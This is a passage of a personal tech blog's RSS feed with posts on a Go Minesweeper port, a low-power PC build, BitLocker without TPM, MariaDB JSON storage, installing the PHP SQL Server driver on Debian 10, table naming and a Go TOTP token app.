<li><a href="https://www.reddit.com/r/pop_os/comments/cvsirf/firefox_audio_crackling_and_popping/">Firefox audio crackling and popping</a></li>
<li><a href="https://askubuntu.com/questions/1033405/crackling-and-delayed-sound-after-upgrading-to-18-04">Crackling and delayed sound after upgrading to 18.04</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis - Web APIs</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Minesweeper written in Go using Ebiten</title>
      <link>https://www.tqdev.com/2021-minesweeper-written-in-go-using-ebiten/</link>
      <pubDate>Tue, 15 Jun 2021 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-minesweeper-written-in-go-using-ebiten/</guid>
      <description>&lt;p&gt;It was already 7 years ago that I wrote
&lt;a href=&#34;https://tqdev.com/2016-minesweeper-in-python-for-ipad&#34;&gt;Minesweeper for a the iPad&lt;/a&gt;
on the iPad (using Pythonista). It was an implementation of Minesweeper in
Python and it was optimized for touch usage. I have ported that implementation
to Go using the Ebiten game engine, which can compile to Web Assembly. This
project really was like a code kata and it proofed to be a great learning
experience and a lot of fun to build.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>It was already 7 years ago that I wrote
<a href="https://tqdev.com/2016-minesweeper-in-python-for-ipad">Minesweeper for a the iPad</a>
on the iPad (using Pythonista). It was an implementation of Minesweeper in
Python and it was optimized for touch usage. I have ported that implementation
to Go using the Ebiten game engine, which can compile to Web Assembly. This
project really was like a code kata and it proofed to be a great learning
experience and a lot of fun to build.</p>
<p>
  
    <img src="/uploads/2021/minesweeper-go_hu_cbdf1e9fa2f4bea8.webp" alt="Programming minesweeper in Go" width="680" style="max-width: 680px;" />
  
</p>
<h3 id="no-sprite-support">No sprite support</h3>
<p>Unlike what I expected, the Ebiten engine does not have the object oriented
concepts like Sprite, Layer and Scene that I was familiar with from Pythonista,
Flash, Flex and the like. Instead it provides just the method &ldquo;DrawImage&rdquo; that
can draw onto the canvas. This makes it harder to organize your screens and
graphics. I decided that I didn&rsquo;t want a tight integration between the game
logic and the drawing logic, so I decided to implement those concepts myself.
This was quiet some work, but it simplified porting the code from Pythonista to
Ebiten and as a bonus it may come in handy in a next port (if I will do
another).</p>
<h3 id="performance">Performance</h3>
<p>Next I had to test for performance and I&rsquo;ve found that performance was good, but
not super. Especially when running full screen on a full-HD screen with a low
power CPU/GPU you could visibly see the dropped frames (not achieving 30 fps).
Games with more moving elements on the screen benefit more from the (direct)
drawing method than a game like minesweeper. When running the game on a lower
resolution, for instance the WASM build in a small iframe the performance was
perfect. This allows for replacement of Flash games with Ebiten games (although
the WASM binary is 9 megabytes, which is quite large for a simple game like
minesweeper).</p>
<h3 id="see-it-in-action">See it in action!</h3>
<p>Play the game here:</p>
<p><a href="https://www.maurits.vdschee.nl/ebiten-mines/">https://www.maurits.vdschee.nl/ebiten-mines/</a></p>
<p>View the source here:</p>
<p><a href="https://github.com/mevdschee/ebiten-mines/">https://github.com/mevdschee/ebiten-mines/</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://ebiten.org/">Ebiten: A dead simple 2D game library for Go</a></li>
<li><a href="http://omz-software.com/pythonista/">Pythonista for iOS</a></li>
<li><a href="https://github.com/mevdschee/minesweeper.go">Minesweeper in Go (using Ebiten)</a></li>
<li><a href="https://github.com/mevdschee/pythonista-minesweeper">Minesweeper in Python (using Pythonista)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Low power computing at 8 watt idle</title>
      <link>https://www.tqdev.com/2021-low-power-computing-at-8-watt-idle/</link>
      <pubDate>Wed, 05 May 2021 19:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-low-power-computing-at-8-watt-idle/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve built another PC. This time I wanted to create a low power computer that
could be always on. It aims to replace my NUC i7 with something powerful, silent
and not too expensive. I&amp;rsquo;ve chosen an ASRock J5040-ITX motherboard with a
on-board Intel J5040 CPU in an Inter-Tech ITX-601 HTPC case. This little machine
is 3.2 GHz quad core with 32 GB of RAM a 1 TB SSD and costs less than 500 euro.
It is a small, pretty, super fast and not too noisy little box. The case is an
amazing value at 61 euros as it comes with a 60 Watt power supply with a power
brick and all cables required. I run Xubuntu 20.04 LTS and it works great, I&amp;rsquo;m
very pleased with the results!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve built another PC. This time I wanted to create a low power computer that
could be always on. It aims to replace my NUC i7 with something powerful, silent
and not too expensive. I&rsquo;ve chosen an ASRock J5040-ITX motherboard with a
on-board Intel J5040 CPU in an Inter-Tech ITX-601 HTPC case. This little machine
is 3.2 GHz quad core with 32 GB of RAM a 1 TB SSD and costs less than 500 euro.
It is a small, pretty, super fast and not too noisy little box. The case is an
amazing value at 61 euros as it comes with a 60 Watt power supply with a power
brick and all cables required. I run Xubuntu 20.04 LTS and it works great, I&rsquo;m
very pleased with the results!</p>
<p>
  
    <img src="/uploads/2021/itx-601-wifi_hu_f679eaf1f8634421.webp" alt="ITX-601 with wifi kit"  />
  
</p>
<h3 id="list-of-materials">List of materials</h3>
<p>The materials used in this build:</p>
<pre><code> 61 Inter-Tech ITX-601 HTPC case
132 ASRock J5040-ITX motherboard with CPU
164 Crucial DDR4 SODIMM 2x16GB 2666
 90 Crucial P1 1TB M.2 Nvme SSD
 16 Scythe Kaze Flex 120 Slim fan
  8 Low Profile PCI-E x1 NGFF NVMe Adapter
 24 Intel Wi-Fi 6 (Gig+) Desktop Kit
--- +
495 Total
</code></pre>
<p>
  
    <img src="/uploads/2021/itx-601-fan_hu_cdf39b6ffbf9ff4e.webp" alt="ITX-601 with 120mm fan"  />
  
</p>
<p>When you enable &ldquo;CPU SpeedStep&rdquo; and &ldquo;CPU Turbo&rdquo; in the BIOS this becomes both a
very powerful and energy efficient machine. These settings allow the CPU to run
between 800MHz and 3.2GHz depending on the load. You can bolt the Scythe 120 mm
&ldquo;slim&rdquo; fan to the side/top panel (above the CPU). You need a 120 mm slim (15 mm
height) case fan as there is not enough clearance to fit a normal 120 mm (25 mm
height) case fan. You may have to use an awl to widen some of the holes in the
panel (as fitting a case fan is not designed). Then you can connect the fan to
CPU fan header on the motherboard. In the BIOS you can set the CPU fan to
&ldquo;Custom Speed&rdquo; and configure &ldquo;55&rdquo; (from the 0-255 range) as its speed to have
plenty of airflow and almost zero noise. I highly recommend this as an always-on
(or HTPC) server, as it runs at 800 MHz and uses only 8 watt (on the socket)
when idle. Under full load the system uses 30 watt and feels pretty fast with
CPU temperatures around 60 degrees Celsius.</p>
<h3 id="wifi-antenna-and-pcie-card">Wifi antenna and PCIe card</h3>
<p>As you can see on the pictures I added the &ldquo;Intel Wi-Fi 6 (Gig+) Desktop Kit&rdquo;,
which can be connected to the motherboard&rsquo;s M.2 NGFF Wifi slot. Although there
are holes that fit the antennas, one of the antennas (antenna pigtail connector)
interferes with the PCIe card that holds the NVMe drive. This low profile PCIe
card is fitted in the PCIe 2.0 x1 slot of the motherboard. With some gentle
pushing it all fits, but only barely, so be warned.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.asrock.com/mb/Intel/J5040-ITX">ASRock - J5040-ITX Motherboard + CPU</a></li>
<li><a href="https://www.inter-tech.de/en/products/case/mini-itx-nuc/itx-601">Inter-Tech GmbH - ITX-601</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Why I use Bitlocker without TPM</title>
      <link>https://www.tqdev.com/2021-why-i-use-bitlocker-without-tpm/</link>
      <pubDate>Sun, 04 Apr 2021 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-why-i-use-bitlocker-without-tpm/</guid>
      <description>&lt;p&gt;Bitlocker is the Full Disk Encryption (FDE) solution in Windows, similar to
FileVault in OSX and LUKS in Linux. I do advocate the use of full disk
encryption on any device, but especially on devices that are prone to theft,
such as laptops. In my threat model I&amp;rsquo;m using full disk encryption (solely) to
prevent data theft in case of hardware theft. The power of full disk encryption
lies in that it is easy to understand and reason about. Unfortunately this
cannot be said about the Windows 10 (professional only) solution, unless you do
what I did, as explained in this post.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Bitlocker is the Full Disk Encryption (FDE) solution in Windows, similar to
FileVault in OSX and LUKS in Linux. I do advocate the use of full disk
encryption on any device, but especially on devices that are prone to theft,
such as laptops. In my threat model I&rsquo;m using full disk encryption (solely) to
prevent data theft in case of hardware theft. The power of full disk encryption
lies in that it is easy to understand and reason about. Unfortunately this
cannot be said about the Windows 10 (professional only) solution, unless you do
what I did, as explained in this post.</p>
<h3 id="how-full-disk-encryption-works">How &ldquo;Full Disk Encryption&rdquo; works</h3>
<p>You turn on the computer and it boots from a small (hidden) unencrypted
partition of your disk: the boot partition. Before the computer starts and the
rest of disk is accessed you need to enter a passphrase. Using the key
stretching this password is transformed into a encryption key that is stored in
the computer&rsquo;s memory. They encryption key is a symmetric encryption algorithm
(typically AES), so the same key is used for encryption and decryption. After
this step every block that is read from disk is decrypted in memory before the
read operation returns and every block that is written to disk is encrypted
before it is actually written to disk.</p>
<h3 id="about-the-trusted-platform-module">About the &ldquo;Trusted Platform Module&rdquo;</h3>
<p>Some computers have a &ldquo;Trusted Platform Module&rdquo; (TPM) that acts as a secure
key-store. One of the tasks the TPM has is to &ldquo;Generate, store, and limit the
use of cryptographic keys&rdquo;. The TPM measures &ldquo;the boot code that is loaded&rdquo; and
ensures that &ldquo;a TPM-based key was used only when the correct software was used
to boot the system&rdquo;. This means that the TPM will release the FDE key without a
password provided when it decides that the boot process was not tempered with.
In my opinion it is hard to understand exactly how that works and this makes it
hard to reason about. Saying that a TPM provides a &ldquo;false sense of security&rdquo; (as
VeraCrypt&rsquo;s author does) may be too strong, but I would not use it. Fortunately,
you can disable the TPM in the BIOS and allow usage of Bitlocker without a TPM.</p>
<h3 id="configure-bitlocker-without-tpm">Configure Bitlocker without TPM</h3>
<p>These are the instructions
(<a href="https://www.howtogeek.com/howto/6229/how-to-use-bitlocker-on-drives-without-tpm/">source</a>):</p>
<ul>
<li>Open the Local Group Policy Editor by pressing Windows+R.</li>
<li>Type &ldquo;gpedit.msc&rdquo; into the Run dialog box, and press Enter.</li>
<li>Navigate to Local Computer Policy &gt; Computer Configuration &gt; Administrative
Templates &gt; Windows Components &gt; BitLocker Drive Encryption &gt; Operating System
Drives in the left pane.</li>
<li>Double-click the &ldquo;Require additional authentication at startup&rdquo; option in the
right pane.</li>
<li>Select &ldquo;Enabled&rdquo; at the top of the window, and ensure the &ldquo;Allow BitLocker
without a compatible TPM (requires a password or a startup key on a USB flash
drive)&rdquo; checkbox is enabled here.</li>
<li>Click &ldquo;OK&rdquo; to save your changes.</li>
<li>You can now close the Group Policy Editor window.</li>
</ul>
<p>There is no need to reboot, as your change is immediately effective.</p>
<h3 id="usb-startup-key-with-esp">USB Startup Key with ESP</h3>
<p>The encryption key may also be stored on a USB stick. This is particularly
convenient if you are sharing multiple computers with multiple users, as you can
create a USB stick with keys from various computers and the computer will
automatically choose the correct one. The USB sticks may be seen as &ldquo;something
you have&rdquo; and play that role in your Two Factor Authentication (2FA) scheme. In
order to prevent the USB stick to &ldquo;automount&rdquo; (pop-up as a newly connected
drive) you can format the USB stick using a GUID partition table (GPT) and
create only one partition: an EFI (Extensible Firmware Interface) System
Partition or &ldquo;ESP&rdquo;. This partition should either be formatted as FAT16 or FAT32
and normally holds files required to boot your system. We will use the ESP to
store Bitlocker Encryption Key (BEK) files. The boot process scans all USB
connected FAT partitions (including the ESP) for the correct key.</p>
<h3 id="managing-keys">Managing keys</h3>
<p>After encrypting the drives of all machines I end up with a set of USB Startup
keys containing BEK files. The BEK file is hidden on Windows as it is stored
with a &ldquo;system&rdquo; attribute, but you can easily copy it to a Linux computer. I
have created a (Linux) bash script to format a blank USB drive as GPT/ESP and
copy all collected keys. You can find that script on my GitHub repository, see:</p>
<p><a href="https://github.com/mevdschee/bitlocker-tools">https://github.com/mevdschee/bitlocker-tools</a></p>
<p>Have fun!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://docs.microsoft.com/en-us/windows/security/information-protection/tpm/trusted-platform-module-overview">Trusted Platform Module Technology Overview</a></li>
<li><a href="https://www.howtogeek.com/howto/6229/how-to-use-bitlocker-on-drives-without-tpm/">How to Use BitLocker Without a Trusted Platform Module (TPM)</a></li>
<li><a href="https://veracrypt.fr/en/FAQ.html">VeraCrypt - FAQ</a></li>
<li><a href="https://en.wikipedia.org/wiki/EFI_system_partition">Wikipedia - EFI system partition</a></li>
<li><a href="https://en.wikipedia.org/wiki/Threat_model">Wikipedia - Threat model</a></li>
<li><a href="https://en.wikipedia.org/wiki/Key_stretching">Wikipedia - Key stretching</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Storing JSON strings in MariaDB</title>
      <link>https://www.tqdev.com/2020-storing-json-strings-in-mariadb/</link>
      <pubDate>Thu, 11 Mar 2021 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-storing-json-strings-in-mariadb/</guid>
      <description>&lt;p&gt;In SQL every column has a name, a type and a single value (that may be NULL in
some cases). These strong guarantees makes working with SQL very nice.
Nevertheless people seem intrigued by these &amp;ldquo;limitations&amp;rdquo; and propose
&amp;ldquo;improvements&amp;rdquo;. Some of these improvements are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The ARRAY type in SQL99 and nested arrays in SQL2003.&lt;/li&gt;
&lt;li&gt;The JSON type in MySQL&lt;/li&gt;
&lt;li&gt;the JSON/JSONB type in PostgreSQL.&lt;/li&gt;
&lt;li&gt;The XML type in SQL Server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They all weaken the guarantee that a table row has a fixed number of keys and
that every key has exactly one value and that each value has a specified type.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In SQL every column has a name, a type and a single value (that may be NULL in
some cases). These strong guarantees makes working with SQL very nice.
Nevertheless people seem intrigued by these &ldquo;limitations&rdquo; and propose
&ldquo;improvements&rdquo;. Some of these improvements are:</p>
<ul>
<li>The ARRAY type in SQL99 and nested arrays in SQL2003.</li>
<li>The JSON type in MySQL</li>
<li>the JSON/JSONB type in PostgreSQL.</li>
<li>The XML type in SQL Server.</li>
</ul>
<p>They all weaken the guarantee that a table row has a fixed number of keys and
that every key has exactly one value and that each value has a specified type.</p>
<p>Sometimes it may be useful to store unstructured data. MariaDB takes the
(sensible) approach of storing unstructured data in a LONGTEXT field (it&rsquo;s JSON
type is an alias for LONGTEXT). But when you are creating an API, it would be
great when that unstructured data is not double JSON encoded.</p>
<p>I have built JSON middleware in
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (an &ldquo;automatic&rdquo; API)
to avoid double JSON encoding of unstructured fields. Below you see an example
of reading a product record having an unstructured field named &ldquo;properties&rdquo;
(with actual type LONGTEXT).</p>
<p>Without JSON middleware the output will be:</p>
<pre><code>{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Calculator&quot;,
    &quot;price&quot;: &quot;23.01&quot;,
    &quot;properties&quot;: &quot;{\&quot;depth\&quot;:false,\&quot;model\&quot;:\&quot;TRX-120\&quot;,\&quot;width\&quot;:100,\&quot;height\&quot;:null}&quot;,
}
</code></pre>
<p>With JSON middleware the output will be:</p>
<pre><code>{
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Calculator&quot;,
    &quot;price&quot;: &quot;23.01&quot;,
    &quot;properties&quot;: {
        &quot;depth&quot;: false,
        &quot;model&quot;: &quot;TRX-120&quot;,
        &quot;width&quot;: 100,
        &quot;height&quot;: null
    },
}
</code></pre>
<p>This does not only work when reading, but also when writing data to the API.</p>
<h3 id="conclusion">Conclusion</h3>
<p>After evaluating a lot of directions of different relational databases to weaken
it&rsquo;s structure guarantees I came across the sensible approach of MariaDB. I
realized that unstructured data storage as a JSON encoded string is a great
solution, but that the API would require a cosmetic change to the data (no
double encoding).</p>
<p>Unfortunately MariaDB stores &ldquo;LONGTEXT&rdquo; instead of it&rsquo;s specified &ldquo;JSON&rdquo; alias
in the reflection tables. This is why we still need to configure which string
fields should be scanned to detect encoded JSON. If anyone knows how to find the
specified JSON type from the reflection, please let me know!</p>
<p>Happy coding!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API (an &ldquo;automatic&rdquo; API)</a></li>
<li><a href="https://mariadb.com/kb/en/json-data-type/">MariaDB: JSON Data Type</a></li>
<li><a href="https://crate.io/docs/sql-99/en/latest/chapters/10.html">SQL-99 Complete: Collection types</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Installing PDO_SQLSRV on Debian 10</title>
      <link>https://www.tqdev.com/2021-installing-pdo-sqlsrv-debian-10/</link>
      <pubDate>Thu, 18 Feb 2021 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-installing-pdo-sqlsrv-debian-10/</guid>
      <description>&lt;p&gt;Installing the PHP SQL Server driver (PDO_SQLSRV) on a Debian 10 Linux system
requires several steps, starting with the installation of the Microsoft ODBC
Driver. Note that Debian requires TLS 1.2 and if your SQL Server does not
support that you will run into &amp;ldquo;Error code 0x2746&amp;rdquo;. This post will explain how
to resolve that issue.&lt;/p&gt;
&lt;p&gt;First we make sure to install the Microsoft ODBC Driver for SQL Server on Linux.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Installing the PHP SQL Server driver (PDO_SQLSRV) on a Debian 10 Linux system
requires several steps, starting with the installation of the Microsoft ODBC
Driver. Note that Debian requires TLS 1.2 and if your SQL Server does not
support that you will run into &ldquo;Error code 0x2746&rdquo;. This post will explain how
to resolve that issue.</p>
<p>First we make sure to install the Microsoft ODBC Driver for SQL Server on Linux.</p>
<pre><code>sudo apt -y install curl
curl -s https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
sudo bash -c &quot;curl -s https://packages.microsoft.com/config/debian/10/prod.list &gt; /etc/apt/sources.list.d/mssql-release.list&quot;
sudo apt -y update
sudo ACCEPT_EULA=Y apt -y install msodbcsql17 mssql-tools
sudo apt -y install unixodbc-dev
</code></pre>
<p>After this installation you need to compile and install the drivers:</p>
<pre><code>sudo apt -y install gcc g++ make autoconf libc-dev pkg-config
sudo apt -y install php-pear php-dev
sudo pecl install sqlsrv
sudo pecl install pdo_sqlsrv
</code></pre>
<p>To enable the drivers we need to register the drivers as available mods and
enable them:</p>
<pre><code>echo &quot;extension=sqlsrv.so&quot; | sudo tee /etc/php/7.3/mods-available/sqlsrv.ini
echo &quot;extension=pdo_sqlsrv.so&quot; | sudo tee /etc/php/7.3/mods-available/pdo_sqlsrv.ini
sudo phpenmod sqlsrv pdo_sqlsrv
</code></pre>
<p>If you then run into the following error message:</p>
<pre><code>SQLSTATE[08001]: [Microsoft][ODBC Driver 17 for SQL Server]TCP Provider: Error code 0x2746
</code></pre>
<p>This means you need to upgrade (or patch) your SQL Server installation to
support TLS 1.2. Some people suggest downgrading the OpenSSL package (from 1.1.1
to 1.0.x), but I recommend against that. If you really cannot upgrade, then you
may have to change the CipherString of OpenSSL to allow for (older) SQL Server
compatibility (Note that this is a system-wide default):</p>
<pre><code>sudo sed -i 's/DEFAULT@SECLEVEL=2/DEFAULT@SECLEVEL=1/' /etc/ssl/openssl.cnf
</code></pre>
<p>Alternatively, you can manually look for &lsquo;CipherString&rsquo; in the file
&lsquo;/etc/ssl/openssl.cnf&rsquo; and adjust it&rsquo;s value:</p>
<pre><code>#lower seclevel for (old) sqlserver
#CipherString = DEFAULT@SECLEVEL=2
CipherString = DEFAULT@SECLEVEL=1
</code></pre>
<p>This should get you started. If you want more information, check out the links
below.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://docs.microsoft.com/en-us/sql/connect/odbc/linux-mac/installing-the-microsoft-odbc-driver-for-sql-server?view=sql-server-ver15">Install the Microsoft ODBC driver for SQL Server (Linux)</a></li>
<li><a href="https://docs.microsoft.com/en-us/sql/connect/php/installation-tutorial-linux-mac?view=sql-server-ver15">Linux and macOS Installation Tutorial for the Microsoft Drivers for PHP for SQL Server</a></li>
<li><a href="https://unix.stackexchange.com/questions/537279/overriding-openssl-cipherstring-at-a-more-granular-level-in-debian-10">Overriding OpenSSL CipherString at a more granular level in Debian 10?</a></li>
<li><a href="https://support.microsoft.com/en-us/topic/kb3135244-tls-1-2-support-for-microsoft-sql-server-e4472ef8-90a9-13c1-e4d8-44aad198cdbe">KB3135244 - TLS 1.2 support for Microsoft SQL Server</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Should table names be singular or plural?</title>
      <link>https://www.tqdev.com/2021-should-table-names-be-singular-or-plural/</link>
      <pubDate>Sat, 02 Jan 2021 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-should-table-names-be-singular-or-plural/</guid>
      <description>&lt;p&gt;As we all know &amp;ldquo;naming things&amp;rdquo; is jokingly named as one of the two hard problems
in software engineering (the other one being &amp;ldquo;cache invalidation&amp;rdquo;). This post is
about the question whether your (database) table names should be plural or
singular, e.g. &amp;ldquo;posts&amp;rdquo; or &amp;ldquo;post&amp;rdquo;. You should read the following Stack Overflow
post to understand that this is a heated debate:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://stackoverflow.com/questions/338156/table-naming-dilemma-singular-vs-plural-names&#34;&gt;Stack Overflow: Table Naming Dilemma: Singular vs. Plural Names&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>As we all know &ldquo;naming things&rdquo; is jokingly named as one of the two hard problems
in software engineering (the other one being &ldquo;cache invalidation&rdquo;). This post is
about the question whether your (database) table names should be plural or
singular, e.g. &ldquo;posts&rdquo; or &ldquo;post&rdquo;. You should read the following Stack Overflow
post to understand that this is a heated debate:</p>
<p><a href="https://stackoverflow.com/questions/338156/table-naming-dilemma-singular-vs-plural-names">Stack Overflow: Table Naming Dilemma: Singular vs. Plural Names</a></p>
<p>In this post I will portrait my (albeit late) take on this in the context of web
application development (spoiler: you should use singular).</p>
<h3 id="how-it-was">How it was</h3>
<ul>
<li>Rails has a convention to use plural table names. It also sports a
<a href="https://apidock.com/rails/v5.2.3/String/pluralize">&ldquo;pluralize&rdquo; function</a> to
facilitate conversion.</li>
<li>Other frameworks required &ldquo;configuring&rdquo; the table name for every
entity/resource, in which case plural made sense (in SQL) and was recommended.</li>
</ul>
<h3 id="what-changed">What changed</h3>
<ul>
<li>We have been building CRUD apps and API for more than 10 years and we started
to automate using default routes and reflection based APIs (note that Rails
was already facilitating this meta programming with it&rsquo;s inflector functions).</li>
<li>REST is the new SQL and we moved from MVC/ORM based web apps to REST API
based. This also meant that URLs like &ldquo;<code>/posts/delete/23</code>&rdquo; became
&ldquo;<code>DELETE /posts/23</code>&rdquo;.</li>
</ul>
<h3 id="why-plural-is-better">Why plural is better</h3>
<ul>
<li>Typically a table contains multiple records, hence a plural name fits the
content better. Your socks drawer will be labeled &ldquo;socks&rdquo;, not &ldquo;sock&rdquo;.</li>
<li>Also, the SQL reads less naturally: &ldquo;<code>SELECT * FROM posts</code>&rdquo; reads better than:
&ldquo;<code>SELECT * FROM post</code>&rdquo;.</li>
<li>Typically the route for &ldquo;list&rdquo; in MVC/REST is &ldquo;<code>GET /posts</code>&rdquo;, which makes more
sense than &ldquo;<code>GET /post</code>&rdquo;.</li>
</ul>
<h3 id="why-singular-is-better">Why singular is better</h3>
<ul>
<li>The models, routes and tables have consistent naming when you the database
table is named &ldquo;post&rdquo; instead of &ldquo;posts&rdquo;.</li>
<li>Foreign keys can have simple consistent naming, such as:
&ldquo;<code>{relation_name}_{table_name}_id</code>&rdquo;. So that the author of a post becomes:
&ldquo;<code>author_user_id</code>&rdquo;.</li>
<li>The routes for &ldquo;read&rdquo;, &ldquo;update&rdquo;, and &ldquo;delete&rdquo; in MVC/REST make more sense in
singular form: &ldquo;<code>GET /post/23</code>&rdquo;</li>
<li>Inflection functions (such as &ldquo;singularize&rdquo; and &ldquo;pluralize&rdquo;) are language
specific and thus hard to implement (and often not implemented).</li>
</ul>
<h3 id="conclusion-use-singular">Conclusion: use singular</h3>
<p>The world is changing, generated REST and MVC are becoming the standard and
inflection functions have proven to be problematic. This makes the best practice
of plural table names cumbersome. We should adjust the best practice and switch
to singular for everything now. Let&rsquo;s do this now, it is not too late.</p>
<p>Enjoy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Free OTP &#39;soft token&#39; written in Go</title>
      <link>https://www.tqdev.com/2020-free-otp-soft-token-written-in-go/</link>
      <pubDate>Sun, 08 Nov 2020 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-free-otp-soft-token-written-in-go/</guid>
      <description>&lt;p&gt;I have written open-source software that you can use as an alternative to
Google/Microsoft Authenticator on any device (that Go can cross-compile for).
You may (for instance) run it on your Raspberry Pi (zero) and use it as a
&amp;ldquo;semi-hardware&amp;rdquo; token. The software does not (yet) support QR code scanning, so
you you need to manually enter the name and secret to set up the token.&lt;/p&gt;
&lt;h3 id=&#34;time-based-one-time-passwords-totp&#34;&gt;Time-based One Time Passwords (TOTP)&lt;/h3&gt;
&lt;p&gt;Time-based One Time Passwords (TOTP) is a technology where you agree on a shared
secret with an authentication system. This shared secret is often shared via a
QR code and stored in for instance a smartphone. The shared secret is combined
with the UTC time in seconds in then hashed to produce a 6 digit code that is
valid for 30 seconds. This is the protocol that is used by Google Authenticator
and Microsoft Authenticator.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have written open-source software that you can use as an alternative to
Google/Microsoft Authenticator on any device (that Go can cross-compile for).
You may (for instance) run it on your Raspberry Pi (zero) and use it as a
&ldquo;semi-hardware&rdquo; token. The software does not (yet) support QR code scanning, so
you you need to manually enter the name and secret to set up the token.</p>
<h3 id="time-based-one-time-passwords-totp">Time-based One Time Passwords (TOTP)</h3>
<p>Time-based One Time Passwords (TOTP) is a technology where you agree on a shared
secret with an authentication system. This shared secret is often shared via a
QR code and stored in for instance a smartphone. The shared secret is combined
with the UTC time in seconds in then hashed to produce a 6 digit code that is
valid for 30 seconds. This is the protocol that is used by Google Authenticator
and Microsoft Authenticator.</p>
<h3 id="text-mode-user-interface-tui">Text mode user interface (TUI)</h3>
<p>I have chosen to create a text mode application to make it really easy to cross
compile and build the application. This also means that the application uses
very little resources and is very small (4 megabytes) even though all
dependencies are statically linked.</p>
<h3 id="roadmap-more-features">Roadmap, more features</h3>
<p>There are several features that I can think of that this project may get/need:</p>
<ul>
<li>Alternative key store implementation (for instance
<a href="https://docs.oracle.com/javase/7/docs/api/java/security/KeyStore.html">Java Keystore</a>
compatible).</li>
<li>Copy/paste functionality, so that the 6 digit code may be copied to the
clipboard.</li>
<li>A HTML/CSS based GUI (maybe as a different project).</li>
<li>A list view to avoid having to scroll through all tokens.</li>
<li>A search option to find a specific token or start the software at a specific
token.</li>
</ul>
<p>Maybe even support for other/better protocols, based on public/private key
encryption, such as &lsquo;<a href="https://webauthn.io/">WebAuthn</a>&rsquo;.</p>
<h3 id="download">Download</h3>
<p>You can find the code on my Github. Go to the
<a href="https://github.com/mevdschee/go-soft-token/releases">releases</a> section to
download binaries and source code (click on &lsquo;Assets&rsquo;).</p>
<p><a href="https://github.com/mevdschee/go-soft-token">https://github.com/mevdschee/go-soft-token</a></p>
<p>Try it out and let me know what can be improved through the Github issues.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Beelink Gemini T34 modding</title>
      <link>https://www.tqdev.com/2020-beelink-gemini-t34-modding/</link>
      <pubDate>Fri, 11 Sep 2020 13:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-beelink-gemini-t34-modding/</guid>
      <description>&lt;p&gt;I bought a &amp;ldquo;Beelink Gemini T34&amp;rdquo; mini PC for 120 EUR with 8GB RAM, 128 mSATA SSD
and a
&lt;a href=&#34;https://ark.intel.com/content/www/us/en/ark/products/95596/intel-celeron-processor-n3450-2m-cache-up-to-2-2-ghz.html&#34;&gt;N3450 quad core 2.2 Ghz CPU&lt;/a&gt;
with an Scenario Design Power (SDP) of only 4W. It is the successor of my
&amp;ldquo;Beelink T4&amp;rdquo; mini PC with 4GB RAM, 64 GB eMMC and a Z8500 quad core 2.24 Ghz
CPU. I run Xubuntu 20.04 on these boxes and you can run them as a low power
(headless) server or as a HTPC (Home Theater PC) for Full-HD video. In this post
we will unlock the full potential of the T34, by making it run much cooler and
thus faster (as this avoids CPU throttle).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I bought a &ldquo;Beelink Gemini T34&rdquo; mini PC for 120 EUR with 8GB RAM, 128 mSATA SSD
and a
<a href="https://ark.intel.com/content/www/us/en/ark/products/95596/intel-celeron-processor-n3450-2m-cache-up-to-2-2-ghz.html">N3450 quad core 2.2 Ghz CPU</a>
with an Scenario Design Power (SDP) of only 4W. It is the successor of my
&ldquo;Beelink T4&rdquo; mini PC with 4GB RAM, 64 GB eMMC and a Z8500 quad core 2.24 Ghz
CPU. I run Xubuntu 20.04 on these boxes and you can run them as a low power
(headless) server or as a HTPC (Home Theater PC) for Full-HD video. In this post
we will unlock the full potential of the T34, by making it run much cooler and
thus faster (as this avoids CPU throttle).</p>
<p><a href="https://i.imgur.com/fN6wqfL.jpg" style="border: 0;"><img alt="Beelink Gemini T34 with an AMD Wraith Stealth fan" src="https://i.imgur.com/fN6wqfL.jpg" style="width: 100%;"/><em>Beelink
Gemini T34 with an AMD Wraith Stealth fan</em></a></p>
<h3 id="upside-easy-linux-installation">Upside: Easy Linux installation</h3>
<p>This machine has Windows 10 installed when delivered. Fortunately installing
Xubuntu 20.04 on the Beelink T34 is very easy as it is an Intel x64 CPU with
